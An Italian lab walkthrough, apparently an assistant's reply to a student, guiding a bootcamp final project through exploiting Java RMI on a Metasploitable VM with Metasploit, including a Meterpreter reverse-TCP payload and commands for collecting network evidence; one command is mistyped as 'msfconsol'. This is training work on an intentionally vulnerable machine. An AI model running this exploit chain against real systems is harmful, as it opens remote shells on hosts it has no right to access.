

Questa volta la traccia del progetto finale di Epicode richiede di analizzare e sfruttare una vulnerabilità legata al servizio **Java RMI (Remote Method Invocation)** sulla porta 1099 della macchina Metasploitable.

I requisiti del PDF indicano degli indirizzi IP specifici per il laboratorio dell'esame:

- **Macchina Attaccante (Kali Linux):** 192.168.11.111
- **Macchina Vittima (Metasploitable):** 192.168.11.112

Visto che la scadenza è alle 18:00, prendiamoci tutto il tempo necessario e andiamo con calma, passo dopo passo, analizzando ogni singolo comando in modo chiaro e didattico, pronti a raccogliere le evidenze e a prevenire gli errori segnalati nel testo del progetto.

Passo 1: Avviare il Framework Metasploit

Apri il terminale della tua macchina Kali Linux e avvia la console di Metasploit.

```
Bash  
msfconsol
```

- **Cosa fa questo comando:** Carica il framework Metasploit, il database degli exploit e l'interfaccia a riga di comando (msf6 >) che useremo per configurare l'attacco.

Passo 2: Selezionare il Modulo di Exploit

La traccia e le immagini del PDF mostrano l'utilizzo del modulo specifico per il servizio Java RMI. Digita nella console:

```
Bash  
use exploit/multi/misc/java_rmi_server
```

- **Cosa fa questo comando:** Seleziona e attiva il modulo d'attacco progettato per abusare del registro Java RMI, il quale consente l'esecuzione di codice remoto se configurato in modo non sicuro. Il prompt diventerà rosso: msf6 exploit(multi/misc/java_rmi_server) >.

Passo 3: Configurare i Parametri dell'Attacco

Ora dobbiamo inserire i parametri di rete stabiliti dai requisiti del progetto. Esegui i seguenti comandi in sequenza:

Bash

set RHOSTS 192.168.11.112

- **Cosa fa questo comando:** Configura l'indirizzo IP della macchina vittima (Metasploitable). RHOSTS sta per *Remote Hosts*.

Bash

set LHOST 192.168.11.111

- **Cosa fa questo comando:** Configura l'indirizzo IP della tua macchina d'attacco Kali Linux. LHOST sta per *Local Host*, ed è l'indirizzo a cui il payload invierà la connessione di ritorno.

Bash

set PAYLOAD java/meterpreter/reverse_tcp

- **Cosa fa questo comando:** Seleziona il tipo di payload (il codice malevolo) da eseguire sul target dopo lo sfruttamento della falla. In questo caso carichiamo un agente **Meterpreter** basato su Java che aprirà una connessione TCP inversa verso Kali Linux.

Passo 4: Applicare la Mitigazione Preventiva del PDF

La pagina 3 del tuo PDF evidenzia un errore comune in questo specifico laboratorio: **Exploit failed: RuntimeError Timeout HTTPDELAY expired....** Il testo ti fornisce già la soluzione raccomandata:

Bash

```
set HTTPDELAY 20
```

- **Cosa fa questo comando:** Aumenta il tempo di timeout (espresso in secondi) che il server HTTP di Metasploit attende prima di considerare fallito il download del file JAR malevolo da parte della vittima. Impostarlo a 20 previene il fallimento dovuto alla latenza di rete del laboratorio.

Passo 5: Eseguire l'Exploit

Verifica che tutte le opzioni siano corrette digitando `show options`, dopodiché lancia l'attacco:

```
Bash  
exploit
```

- **Cosa fa questo comando:** Inizia il processo di attacco. Metasploit contatterà il registro RMI sulla porta 1099, avvierà un server web locale per ospitare il payload JAR e invierà la chiamata per costringere la Metasploitable a scaricarlo ed eseguirlo.

Cosa devi vedere a schermo:

Se l'attacco va a buon fine, vedrai l'apertura della sessione interattiva:

```
[*] Meterpreter session 1 opened (192.168.11.111:... -> 192.168.11.112:...)
```

Fai subito uno screenshot di questa schermata non appena compare il prompt meterpreter >.

Passo 6: Raccogliere le Evidenze Richieste dal Progetto

Il punto 2 della traccia richiede espressamente di raccogliere due specifiche evidenze una volta ottenuta la sessione:

Evidenza 1: Configurazione di Rete

All'interno del prompt meterpreter >, digita:

```
Bash  
ifconfig
```

- **Cosa fa questo comando:** Interroga le interfacce di rete della macchina vittima direttamente dall'interno di Meterpreter, mostrando l'indirizzo IP, la maschera di sottorete e i dettagli hardware del target.
- Fai uno screenshot di questo output per l'evidenza numero 1.

Evidenza 2: Informazioni sulla Tabella di Routing
Sempre all'interno del prompt meterpreter >, digita:

```
Bash  
route
```

- **Cosa fa questo comando:** Mostra la tabella di instradamento della Metasploitable, evidenziando i gateway e le reti locali a cui il sistema è connesso.
- Fai uno screenshot di questo output per l'evidenza numero 2.

Procedi pure con l'avvio di Metasploit e l'inserimento dei comandi fino al Passo 4. Non appena digiti exploit al Passo 5, fammi sapere cosa leggi a schermo o se riscontri anomalie, così raccogliamo le evidenze insieme!